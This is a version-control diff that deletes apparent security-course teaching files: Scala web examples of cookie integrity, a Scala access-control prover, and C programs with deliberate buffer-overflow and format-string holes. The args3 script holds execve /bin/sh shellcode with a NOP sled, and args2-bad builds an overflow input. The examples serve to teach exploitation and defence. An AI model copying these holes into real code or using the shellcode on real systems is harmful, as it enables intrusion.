Binary file pics/chip-attack.png has changed
Binary file pics/chipnpinflaw.png has changed
Binary file pics/creditcard1.jpg has changed
Binary file pics/creditcard2.jpg has changed
Binary file pics/cross.png has changed
Binary file pics/cryptographic-small.png has changed
Binary file pics/customers.png has changed
Binary file pics/dogs.jpg has changed
Binary file pics/dre1.jpg has changed
Binary file pics/dre2.jpg has changed
Binary file pics/factory.png has changed
Binary file pics/firewall.png has changed
Binary file pics/gattaca.jpg has changed
Binary file pics/gchq.jpg has changed
Binary file pics/gear.gif has changed
Binary file pics/gman.png has changed
Binary file pics/india1.jpg has changed
Binary file pics/india2.jpg has changed
Binary file pics/indiaellection.jpg has changed
Binary file pics/laptop.png has changed
Binary file pics/lavabit-email.jpg has changed
Binary file pics/leavermachine.jpg has changed
Binary file pics/netcloud.png has changed
Binary file pics/nsa.png has changed
Binary file pics/nuclear1.jpg has changed
Binary file pics/nuclear2.jpg has changed
Binary file pics/opticalscan.jpg has changed
Binary file pics/pinsentry.jpg has changed
Binary file pics/pointsplane.jpg has changed
Binary file pics/punchcard1.jpg has changed
Binary file pics/punchcard2.jpg has changed
Binary file pics/questionmark.png has changed
Binary file pics/radeon.jpg has changed
Binary file pics/rbssecure.gif has changed
Binary file pics/rbssecure.jpg has changed
Binary file pics/river-stones.jpg has changed
Binary file pics/rman.png has changed
Binary file pics/schneier.png has changed
Binary file pics/schneierbook1.jpg has changed
Binary file pics/schneierbook2.jpg has changed
Binary file pics/schneierbook3.jpg has changed
Binary file pics/seal.gif has changed
Binary file pics/seal.jpg has changed
Binary file pics/servers.png has changed
Binary file pics/smartwater.jpg has changed
Binary file pics/snowden.jpg has changed
Binary file pics/stack1.png has changed
Binary file pics/stack2.png has changed
Binary file pics/stack3.png has changed
Binary file pics/store.png has changed
Binary file pics/tan1.jpg has changed
Binary file pics/tan2.jpg has changed
Binary file pics/tetris.jpg has changed
Binary file pics/thief.png has changed
Binary file pics/trainwreck.jpg has changed
Binary file pics/tweet.jpg has changed
Binary file pics/userm.png has changed
Binary file pics/userw.jpg has changed
Binary file pics/userw.png has changed
--- a/programs/Application0.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,23 +0,0 @@
-package controllers
-
-import play.api.mvc._
-
-// hello world program
-// just answers the GET request with a string
-
-object Application extends Controller {
-
- // answering a GET request
- val index = Action { request =>
-
- Ok("Hello world!")
- }
-
-}
-
-/*
- * HTML can be returned using
- *
- * OK("<H1>Hello world!</H1>").as(HTML)
- *
- */
--- a/programs/Application1.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,38 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-import play.api.data._
-import play.api.data.Forms._
-
-/*
- * Answers a GET-request by sending a simple login form.
- *
- * Processes the POST-data by just printing the results.
- *
- */
-
-object Application extends Controller {
-
- // GET request -> login form
- val index = Action { request =>
-
- val form = """<form method="post">
- Login: <input type="text" name="login"><br>
- Password: <input type="password" name="password"><br>
- <input type="submit"></form>"""
-
- Ok(form).as(HTML)
- }
-
-
- // POST data: processing the login data
- val receive = Action { request =>
-
- val form_data = Form (tuple ("login" -> text, "password" -> text))
- val (login, password) = form_data.bindFromRequest()(request).get
-
- Ok("Received login: " + login + " and password: " + password)
- }
-
-}
--- a/programs/Application2.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,45 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-import play.api.data._
-import play.api.data.Forms._
-
-/*
- * Application sets a cookie in plain ASCII on the
- * clients browser recording the visits of a page.
- */
-
-object Application extends Controller {
-
- //no or invalid cookie results in the counter being 0
- def gt_cookie(c: Option[Cookie]) : Int = c.map(_.value) match {
- case Some(s) if (s.forall(_.isDigit)) => s.toInt
- case _ => 0
- }
-
- def mk_cookie(i: Int) : Cookie = {
- Cookie("visits", i.toString)
- }
-
- // GET request: read cookie data first
- def index = Action { request =>
-
- //reads the cookie and extracts the visits counter
- val visits_cookie = request.cookies.get("visits")
- val visits = gt_cookie(visits_cookie)
-
- //printing a message according to value of visits counter
- val msg1 = "You are a valued customer who has visited this site %d times."
- val msg2 = "You have visited this site %d times."
- val msg =
- if (visits >= 10) msg1.format(visits) else msg2.format(visits)
-
- //send message with new cookie
- Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
- }
-}
-
-
-
-
--- a/programs/Application3.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,56 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-import play.api.data._
-import play.api.data.Forms._
-import java.security.MessageDigest
-
-/*
- * Application sets a cookie in plain ASCII on the
- * clients browser recording the visits of a page.
- *
- * The cookie data is hashed ans stored in the format:
- *
- * visits_counter/hashed_value
- */
-
-object Application extends Controller {
-
- //hash functions: SHA-1, SHA-256, etc
- def mk_hash(s: String) : String = {
- val hash_fun = MessageDigest.getInstance("SHA-1")
- hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
- }
-
- //extracting from the string .../... the visits
- //value and hash
- def gt_cookie(c: Option[Cookie]) : Int =
- c.map(_.value.split("/")) match {
- case Some(Array(s, h))
- if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
- case _ => 0
- }
-
- def mk_cookie(i: Int) : Cookie = {
- val s = i.toString
- Cookie("visits", s + "/" + mk_hash(s))
- }
-
- def index = Action { request =>
-
- val visits_cookie = request.cookies.get("visits")
- val visits = gt_cookie(visits_cookie)
-
- val msg1 = "You are a valued customer who has visited this site %d times."
- val msg2 = "You have visited this site %d times."
- val msg =
- if (visits >= 10) msg1.format(visits) else msg2.format(visits)
-
- Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
- }
-}
-
-
-
-
--- a/programs/Application4.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,59 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-import play.api.data._
-import play.api.data.Forms._
-import java.security.MessageDigest
-
-/*
- * Application sets a cookie in plain ASCII on the
- * clients browser recording the visits of a page.
- *
- * The cookie data is hashed and salted with a
- * secret key.
- */
-
-
-object Application extends Controller {
-
- //secret key for salting - this key should not be
- //sent to the client; the key should normally be
- //a unguessable random number generated once
- val salt = "my secret key"
-
- //SHA-1 + salt
- def mk_hash(s: String) : String = {
- val hash_fun = MessageDigest.getInstance("SHA-1")
- hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
- }
-
- def gt_cookie(c: Option[Cookie]) : Int =
- c.map(_.value.split("/")) match {
- case Some(Array(s, h))
- if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
- case _ => 0
- }
-
- def mk_cookie(i: Int) : Cookie = {
- val s = i.toString
- Cookie("visits", s + "/" + mk_hash(s))
- }
-
- def index = Action { request =>
-
- val visits_cookie = request.cookies.get("visits")
- val visits = gt_cookie(visits_cookie)
-
- val msg1 = "You are a valued customer who has visited this site %d times."
- val msg2 = "You have visited this site %d times."
- val msg =
- if (visits >= 10) msg1.format(visits) else msg2.format(visits)
-
- Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
- }
-}
-
-
-
-
--- a/programs/C0-long.c Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,47 +0,0 @@
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-/*
- I used as environment the virtual machine provided here
-
- http://www.cis.upenn.edu/~cis551/box.tar
-
- This is Debian/Etch with Linux 2.6.18 with gcc 4.1.2 from 2008.
-
- Some installation notes for this virtual machine under VMWare
- are here
-
- http://www.cis.upenn.edu/~cis551/project1.pdf
-
- I run the virtial machine under MacOSX using the program
- VirtualBox available for free from
-
- https://www.virtualbox.org
-
- The C-program I compiled the program with
-
- gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2
-
- */
-
-
-void foo (char *bar)
-{
- float my_float = 10.5; // in hex: \x41\x28\x00\x00
- char buffer[28];
-
- printf("my float value = %f\n", my_float);
-
- strcpy(buffer, bar);
-
- printf("my float value = %f\n", my_float);
-}
-
-int main (int argc, char **argv)
-{
- foo("my string is too long !!!!! "); // all is normal
- foo("my string is too long !!!!! \x10\x10\xc0\x42"); // overwrites my_float
- return 0;
-}
-
--- a/programs/C0.c Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,23 +0,0 @@
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-void foo (char *bar)
-{
- float my_float = 10.5; // in hex: \x41\x28\x00\x00
- char buffer[28];
-
- printf("my float value = %f\n", my_float);
-
- strcpy(buffer, bar);
-
- printf("my float value = %f\n", my_float);
-}
-
-int main (int argc, char **argv)
-{
- foo("my string is too long !!!!! "); // all is normal
- //foo("my string is too long !!!!! \x10\x10\xc0\x42"); // overwrites my_float
- return 0;
-}
-
--- a/programs/C1.c Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,32 +0,0 @@
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-
-void foo (char *bar)
-{
- float my_float = 10.5; // in hex: \x41\x28\x00\x00
- char buffer[28];
-
- printf("my float value = %f\n", my_float);
- strcpy(buffer, bar);
- printf("my float value = %f\n", my_float);
-}
-
-int main (int argc, char **argv)
-{
- // only float overwritten
- foo("my string is too long !!!!! \x10\x10\xc0\x42");
- // also calls can_never_run
- foo("my string is too long !!!!! \x10\x10\xc0\x42\x90\x90\x90\x90\x55\x84\x04\x08");
- return 0;
-}
-
-// its address in my setup is \x08048455
-void can_never_run()
-{
- printf("This can never be executed!\n");
- exit(0);
-}
-
-
--- a/programs/C2.c Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,54 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-// for installation notes see C0.c
-// this program can be called with
-//
-// ./args2-good | ./C2
-//
-// or
-//
-// ./args2-bad | ./C2
-
-
-int match(char *s1, char *s2) {
- while( *s1 != '\0' && *s2 != 0 && *s1 == *s2 ){
- s1++; s2++;
- }
- return( *s1 - *s2 );
-}
-
-// since gets() is insecure and produces lots of warnings,
-// I use my own input function instead ;o)
-char ch;
-int i;
-
-void get_line(char *dst) {
- char buffer[8];
- i = 0;
- while ((ch = getchar()) != '\n') {
- buffer[i++] = ch;
- }
- buffer[i] = '\0';
- strcpy(dst, buffer);
-}
-
-void welcome() { printf("Welcome to the Machine!\n"); exit(0); }
-void goodbye() { printf("Invalid identity, exiting!\n"); exit(1); }
-
-main(){
- char name[8];
- char pw[8];
-
- printf("login: ");
- get_line(name);
- printf("password: ");
- get_line(pw);
-
- if(match(name, pw) == 0)
- welcome();
- else
- goodbye();
-}
-
--- a/programs/C3.c Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,19 +0,0 @@
-#include<stdio.h>
-#include<string.h>
-
-// simple program used for a bufferflow attack
-//
-// for installation notes see C0.c
-//
-// can be called with
-//
-// ./C3 `./args3`
-
-main(int argc, char **argv)
-{
- char buffer[80];
-
- strcpy(buffer, argv[1]);
-
- return 1;
-}
--- a/programs/C4.c Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,15 +0,0 @@
-#include<stdio.h>
-#include<string.h>
-
-// a program that just prints the argument
-// on the command line
-//
-// try and run it with %s
-
-
-main(int argc, char **argv)
-{
- char *string = "This is a secret string\n";
-
- printf(argv[1]);
-}
--- a/programs/args2-bad Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,3 +0,0 @@
-#!/bin/sh
-
-perl -e 'print "test\nAAAAAAAABBBB\xc8\x84\x04\x08\n"'
\ No newline at end of file
--- a/programs/args2-good Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,3 +0,0 @@
-#!/bin/sh
-
-perl -e 'print "test\ntest\n"'
\ No newline at end of file
--- a/programs/args3 Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,28 +0,0 @@
-#!/bin/sh
-
-# shellscript that overwrites the buffer with
-# some payload for opening a shell (the payload
-# cannot contain any \x00)
-
-
-shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
-
-# 24 bytes of shellcode
-
-# "\x31\xc0" // xorl %eax,%eax
-# "\x50" // pushl %eax
-# "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
-# "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
-# "\x89\xe3" // movl %esp,%ebx
-# "\x99" // cltd
-# "\x52" // pushl %edx
-# "\x53" // pushl %ebx
-# "\x89\xe1" // movl %esp,%ecx
-# "\xb0\x0b" // movb $0xb,%al
-# "\xcd\x80" // int $0x80
-
-padding=`perl -e 'print "\x90" x 80'`
-
-# need s correct address in order to run
-printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00"
-
--- a/programs/prove1.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,119 +0,0 @@
-
-abstract class Term
-case class Var(s: String) extends Term
-case class Const(s: String) extends Term
-case class Fun(s: String, ts: List[Term]) extends Term
-
-abstract class Form {
- def -> (that: Form) = Imp(this, that)
-}
-case object True extends Form
-case object False extends Form
-case class Pred(s: String, ts: List[Term]) extends Form
-case class Imp(f1: Form, f2: Form) extends Form
-case class Says(p: String, f: Form) extends Form
-case class And(f1: Form, f2: Form) extends Form
-case class Or(f1: Form, f2: Form) extends Form
-
-case class Judgement(Gamma: List[Form], F: Form) {
- def lhs = Gamma
- def rhs = F
-}
-
-val Admin = "Admin"
-val Bob = "Bob"
-val Del = Pred("del_file", Nil)
-
-val Gamma =
- List( Says(Admin, Del) -> Del,
- Says(Admin, Says(Bob, Del) -> Del),
- Says(Bob, Del) )
-
-val goal = Judgement(Gamma, Del) // request: provable or not?
-
-def partitions[A](ls: List[A]): List[(A, List[A])] =
- ls.map (s => (s, ls diff List(s)))
-
-
-def prove(j: Judgement, sc: () => Unit) : Unit = {
- if (j.lhs.contains(j.rhs)) sc() // Axiom rule
- else prove1(j.lhs, j.rhs, sc)
-}
-
-def prove1(lhs: List[Form], rhs: Form, sc: () => Unit) : Unit =
- rhs match {
- case True => sc ()
- case False => ()
- case Imp(f1, f2) => prove(Judgement(f1::lhs, f2), sc)
- case Says(p, f1) => prove(Judgement(lhs, f1), sc)
- case Or(f1, f2) =>
- { prove(Judgement(lhs, f1), sc);
- prove(Judgement(lhs, f2), sc) }
- case And(f1, f2) =>
- prove(Judgement(lhs, f1),
- () => prove(Judgement(lhs, f2), sc))
- case _ => { for ((f, lhs_rest) <- partitions(lhs))
- prove2(f, lhs_rest, rhs, sc) }
- }
-
-def prove2(f: Form, lhs_rest: List[Form], rhs: Form, sc: () => Unit) : Unit =
- f match {
- case True => prove(Judgement(lhs_rest, rhs), sc)
- case False => sc()
- case And(f1, f2) =>
- prove(Judgement(f1::f2::lhs_rest, rhs), sc)
- case Imp(f1, f2) =>
- prove(Judgement(lhs_rest, f1),
- () => prove(Judgement(f2::lhs_rest, rhs), sc))
- case Or(f1, f2) =>
- prove(Judgement(f1::lhs_rest, rhs),
- () => prove(Judgement(f2::lhs_rest, rhs), sc))
- case Says(p, Imp(f1, f2)) =>
- prove(Judgement(lhs_rest, Says(p, f1)),
- () => prove(Judgement(Says(p, f2)::lhs_rest, rhs), sc))
- case _ => ()
- }
-
-
-
-// function that calls prove and returns immediately once a proof is found
-def run (j : Judgement) : Unit = {
- try {
- def sc () = { println ("Yes!"); throw new Exception }
- prove(j, sc)
- }
- catch { case e: Exception => () }
-}
-
-run (Judgement (Nil, False -> Del))
-run (Judgement (Nil, True -> Del))
-run (Judgement (Nil, Del -> True))
-
-run (goal)
-
-val Gamma1 =
- List( Says(Admin, Says(Bob, Del) -> Del),
- Says(Bob, Del) )
-
-val goal1 = Judgement(Gamma1, Del) // not provable
-
-run (goal1)
-
-run (Judgement(Nil, Del -> Del))
-
-run (Judgement(Nil, Del -> Or(False, Del)))
-
-
-val Chr = "Christian"
-val HoD = "Peter"
-val Email = Pred("may_btain_email", List(Const(Chr)))
-val AtLib = Pred("is_at_library", List(Const(Chr)))
-val Chr_Staff = Pred("is_staff", List(Const(Chr)))
-
-val Policy_HoD = Says(HoD, Chr_Staff) -> Chr_Staff
-val Policy_Lib = And(Chr_Staff, AtLib) -> Email
-val HoD_says = Says(HoD, Chr_Staff)
-
-run (Judgement (List(AtLib, Policy_HoD, Policy_Lib, HoD_says), Email))
-
-
--- a/programs/prove2.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,129 +0,0 @@
-import scala.language.implicitConversions
-import scala.language.reflectiveCalls
-import scala.util._
-
-abstract class Term
-case class Var(s: String) extends Term
-case class Const(s: String) extends Term
-case class Fun(s: String, ts: List[Term]) extends Term
-
-abstract class Form
-case object True extends Form
-case object False extends Form
-case class Pred(s: String, ts: List[Term]) extends Form
-case class Imp(f1: Form, f2: Form) extends Form
-case class Says(p: String, f: Form) extends Form
-case class And(f1: Form, f2: Form) extends Form
-case class Or(f1: Form, f2: Form) extends Form
-
-case class Judgement(gamma: Set[Form], f: Form) {
- def lhs = gamma
- def rhs = f
-}
-
-// some syntactic sugar
-implicit def FormOps(f1: Form) = new {
- def -> (f2: Form) = Imp(f1, f2)
-}
-implicit def StringOps(p: String) = new {
- def says (f: Form) = Says(p, f)
-}
-implicit def SetFormOps(gamma: Set[Form]) = new {
- def |- (f: Form) : Judgement = Judgement(gamma, f)
-}
-
-val Admin = "Admin"
-val Bob = "Bob"
-val Del = Pred("del_file", Nil)
-
-val Gamma: Set[Form] =
- Set( (Admin says Del) -> Del,
- Admin says ((Bob says Del) -> Del),
- Bob says Del )
-
-val goal = Gamma |- Del // request: provable or not?
-
-def partitions[A](s: Set[A]): Set[(A, Set[A])] =
- s.map (e => (e, s - e))
-
-
-def prove(j: Judgement, sc: () => Unit) : Unit = {
- if (j.lhs.contains(j.rhs)) sc () // Axiom rule
- else prove1(j, sc)
-}
-
-def prove1(j: Judgement, sc: () => Unit) : Unit =
- j.rhs match {
- case True => sc ()
- case False => ()
- case Imp(f1, f2) => prove(j.lhs + f1 |- f2, sc)
- case Says(p, f1) => prove(j.lhs |- f1, sc)
- case Or(f1, f2) =>
- { prove(j.lhs |- f1, sc);
- prove(j.lhs |- f2, sc) }
- case And(f1, f2) =>
- prove(j.lhs |- f1,
- () => prove(j.lhs |- f2, sc))
- case _ => { for ((f, lhs_rest) <- partitions(j.lhs))
- prove2(f, lhs_rest, j.rhs, sc) }
- }
-
-def prove2(f: Form, lhs_rest: Set[Form], rhs: Form, sc: () => Unit) : Unit =
- f match {
- case True => prove(lhs_rest |- rhs, sc)
- case False => sc ()
- case And(f1, f2) =>
- prove(lhs_rest + f1 + f2 |- rhs, sc)
- case Imp(f1, f2) =>
- prove(lhs_rest |- f1,
- () => prove(lhs_rest + f2 |- rhs, sc))
- case Or(f1, f2) =>
- prove(lhs_rest + f1 |- rhs,
- () => prove(lhs_rest + f2 |- rhs, sc))
- case Says(p, Imp(f1, f2)) =>
- prove(lhs_rest |- Says(p, f1),
- () => prove(lhs_rest + Says(p, f2) |- rhs, sc))
- case _ => ()
- }
-
-// function that calls prove and returns immediately once a proof is found
-def run (j : Judgement) : Unit = {
- def sc () = { println ("Yes!"); throw new Exception }
- Try(prove(j, sc)) getOrElse ()
-}
-
-run (goal)
-
-run (Set[Form]() |- False -> Del)
-run (Set[Form]() |- True -> Del)
-run (Set[Form]() |- Del -> True)
-run (Set[Form]() |- Del -> Del)
-run (Set[Form]() |- Del -> Or(False, Del))
-
-
-val Gamma1 : Set[Form] =
- Set( Admin says ((Bob says Del) -> Del),
- Bob says Del )
-
-val goal1 = Gamma1 |- Del // not provable
-run (goal1)
-
-
-val f1 = Pred("F1", Nil)
-val f2 = Pred("F2", Nil)
-run (Set[Form](And(f1, f2)) |- And(f2, f1))
-
-
-val Chr = "Christian"
-val HoD = "Peter"
-val Email = Pred("may_btain_email", List(Const(Chr)))
-val AtLib = Pred("is_at_library", List(Const(Chr)))
-val Chr_Staff = Pred("is_staff", List(Const(Chr)))
-
-val Policy_HoD = (HoD says Chr_Staff) -> Chr_Staff
-val Policy_Lib = And(Chr_Staff, AtLib) -> Email
-val HoD_says = HoD says Chr_Staff
-
-run (Set[Form](AtLib, Policy_HoD, Policy_Lib, HoD_says) |- Email)
-
-
--- a/programs/routes Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,10 +0,0 @@
-# Application1 needs entries for both GET and POST
-#
-# all other applications only need an entry for GET
-
-# Home page
-GET / controllers.Application.index
-#POST / controllers.Application.receive
-
-# Map static resources from the /public folder to the /assets URL path
-GET /assets/*file controllers.Assets.at(path="/public", file)
\ No newline at end of file
--- a/progs/scala/Application0.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,24 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-
-// hello world program:
-// just answer the GET request with a string
-
-object Application extends Controller {
-
- // answering a GET request
- def index = Action {
- Ok(views.html.index("222Your new application is ready."))
- //Ok("Hello World")
- }
-
-}
-
-/*
- * HTML can be returned using
- *
- * Ok("<H1>Hello world!</H1>").as(HTML)
- *
- */
--- a/progs/scala/Application1.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,39 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-import play.api.data._
-import play.api.data.Forms._
-
-/*
- * Answers a GET-request by sending a simple login form.
- *
- * Processes the POST-data by just printing the results.
- *
- */
-
-object Application extends Controller {
-
- // GET request -> login form
- val index = Action { request =>
-
- val form = """
- <form method="post">
- Login: <input type="text" name="login"><br>
- Password: <input type="password" name="password"><br>
- <input type="submit"></form>"""
-
- Ok(form).as(HTML)
- }
-
-
- // POST data: processing the login data
- val receive = Action { request =>
-
- val form_data = Form(tuple ("login" -> text, "password" -> text))
- val (login, password) = form_data.bindFromRequest()(request).get
-
- Ok(s"Received login: $login and password: $password")
- }
-
-}
--- a/progs/scala/Application2.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,43 +0,0 @@
-package controllers
-
-import play.api.mvc._
-
-/*
- * Application sets a cookie in plain ASCII on the
- * client's browser recording the number of visits
- * of a page.
- */
-
-object Application extends Controller {
-
- //no or invalid cookie results in the counter being 0
- def gt_cookie(c: Cookie) : Int = c.value match {
- case s if (s.forall(_.isDigit)) => s.toInt
- case _ => 0
- }
-
- def mk_cookie(i: Int) : Cookie = {
- Cookie("visits", i.toString)
- }
-
- // GET request: read cookie data first
- def index = Action { request =>
-
- //reads the cookie and extracts the visits counter
- val visits_cookie = request.cookies.get("visits")
- val visits = visits_cookie.map(gt_cookie).getOrElse(0)
-
- //printing a message according to value of visits counter
- val msg =
- if (visits >= 10)
- s"You are a valued customer who has visited this site $visits times."
- else s"You have visited this site $visits times."
-
- //send message with new cookie
- Ok(msg).withCookies(mk_cookie(visits + 1))
- }
-}
-
-
-
-
--- a/progs/scala/Application3.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,50 +0,0 @@
-package controllers
-
-import play.api.mvc._
-import java.security.MessageDigest
-
-/*
- * Application sets a cookie in plain ASCII on the
- * clients browser recording the visits of a page.
- *
- * The cookie data is hashed and stored in the format:
- *
- * visits_counter/hashed_value
- */
-
-object Application extends Controller {
-
- //hash functions: SHA-1, SHA-256, etc
- def mk_hash(s: String) : String = {
- val hash_fun = MessageDigest.getInstance("SHA-1")
- hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
- }
-
- //extracting from the string .../... the visits
- //value and hash
- def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
- case Array(s, h) if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
- case _ => 0
- }
-
- def mk_cookie(i: Int) : Cookie = {
- val hash = mk_hash(i.toString)
- Cookie("visits", s"$i/$hash")
- }
-
- def index = Action { request =>
- val visits_cookie = request.cookies.get("visits")
- val visits = visits_cookie.map(gt_cookie).getOrElse(0)
-
- val msg =
- if (visits >= 10)
- s"You are a valued customer who has visited this site $visits times."
- else s"You have visited this site $visits times."
-
- Ok(msg).withCookies(mk_cookie(visits + 1))
- }
-}
-
-
-
-
--- a/progs/scala/Application4.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,52 +0,0 @@
-package controllers
-
-import play.api.mvc._
-import java.security.MessageDigest
-
-/*
- * Application sets a cookie in plain ASCII on the
- * clients browser recording the visits of a page.
- *
- * The cookie data is hashed and salted with a
- * secret key.
- */
-
-
-object Application extends Controller {
-
- //secret key for salting
- val salt = "my secret key"
-
- //SHA-1 + salt
- def mk_hash(s: String) : String = {
- val hash_fun = MessageDigest.getInstance("SHA-1")
- hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
- }
-
- def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
- case Array(s, h) if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
- case _ => 0
- }
-
- def mk_cookie(i: Int) : Cookie = {
- val hash = mk_hash(i.toString)
- Cookie("visits", s"$i/$hash")
- }
-
- def index = Action { request =>
-
- val visits_cookie = request.cookies.get("visits")
- val visits = visits_cookie.map(gt_cookie).getOrElse(0)
-
- val msg =
- if (visits >= 10)
- s"You are a valued customer who has visited this site $visits times."
- else s"You have visited this site $visits times."
-
- Ok(msg).withCookies(mk_cookie(visits + 1))
- }
-}
-
-
-
-
--- a/progs/scala/app0.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,13 +0,0 @@
-package controllers
-import play.api.mvc._
-
-object Application extends Controller {
-
- // answering a GET request
- val index = Action { request =>
- Ok("Hello world!")
- }
-}
-
-
-
--- a/progs/scala/app1.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,26 +0,0 @@
-object Application extends Controller {
-
- // GET request -> present login form
- val index = Action { request =>
-
- val form =
- """<form method="post">
- Login: <input type="text" name="login"><br>
- Password: <input type="password" name="password"><br>
- <input type="submit"></form>"""
-
- Ok(form).as(HTML)
- }
-
- // POST data: processing the login data
- val receive = Action { request =>
-
- val form_data = Form(tuple ("login" -> text, "password" -> text))
- def (login, passwd) = form_data.bindFromRequest()(request).get
-
- Ok(s"Received login: $login and password: $passwd")
- }
-}
-
-
-
--- a/progs/scala/app2.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,30 +0,0 @@
-object Application extends Controller {
-
- def gt_cookie(c: Cookie) : Int = c.value match {
- case s if (s.forall(_.isDigit)) => s.toInt
- case _ => 0
- }
-
- def mk_cookie(i: Int) : Cookie = Cookie("visits", i.toString)
-
- // GET request: read cookie data first
- def index = Action { request =>
-
- //reads the cookie and extracts the visits counter
- val visits_cookie = request.cookies.get("visits")
- val visits = visits_cookie.map(gt_cookie).getOrElse(0)
-
- //printing a message according to value of visits counter
- val msg =
- if (visits >= 10)
- s"You are a valued customer who has visited this site $visits times."
- else s"You have visited this site $visits times."
-
- //send message with new cookie
- Ok(msg).withCookies(mk_cookie(visits + 1))
- }
-}
-
-
-
-
--- a/progs/scala/app3.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,25 +0,0 @@
-object Application extends Controller {
-
- //SHA-1, SHA-256
- def mk_hash(s: String) : String = {
- val hash_fun = MessageDigest.getInstance("SHA-1")
- hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
- }
-
- def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
- case Array(s, h)
- if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
- case _ => 0
- }
-
- def mk_cookie(i: Int) : Cookie = {
- val hash = mk_hash(i.toString)
- Cookie("visits", s"$i/$hash")
- }
-
- def index = Action { request => ... }
-}
-
-
-
-
--- a/progs/scala/app4.scala Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null Thu Jan 01 00:00:00 1970 +0000
@@ -1,27 +0,0 @@
-object Application extends Controller {
-
- val salt = "my secret key"
-
- //SHA-1 + salt
- def mk_hash(s: String) : String = {
- val hash_fun = MessageDigest.getInstance("SHA-1")
- hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
- }
-
- def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
- case Array(s, h)
- if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt
- case _ => 0
- }
-
- def mk_cookie(i: Int) : Cookie = {
- val hash = mk_hash(i.toString)
- Cookie("visits", s"$i/$hash")
- }
-
- def index = Action { request => ... }
-}
-
-
-
-
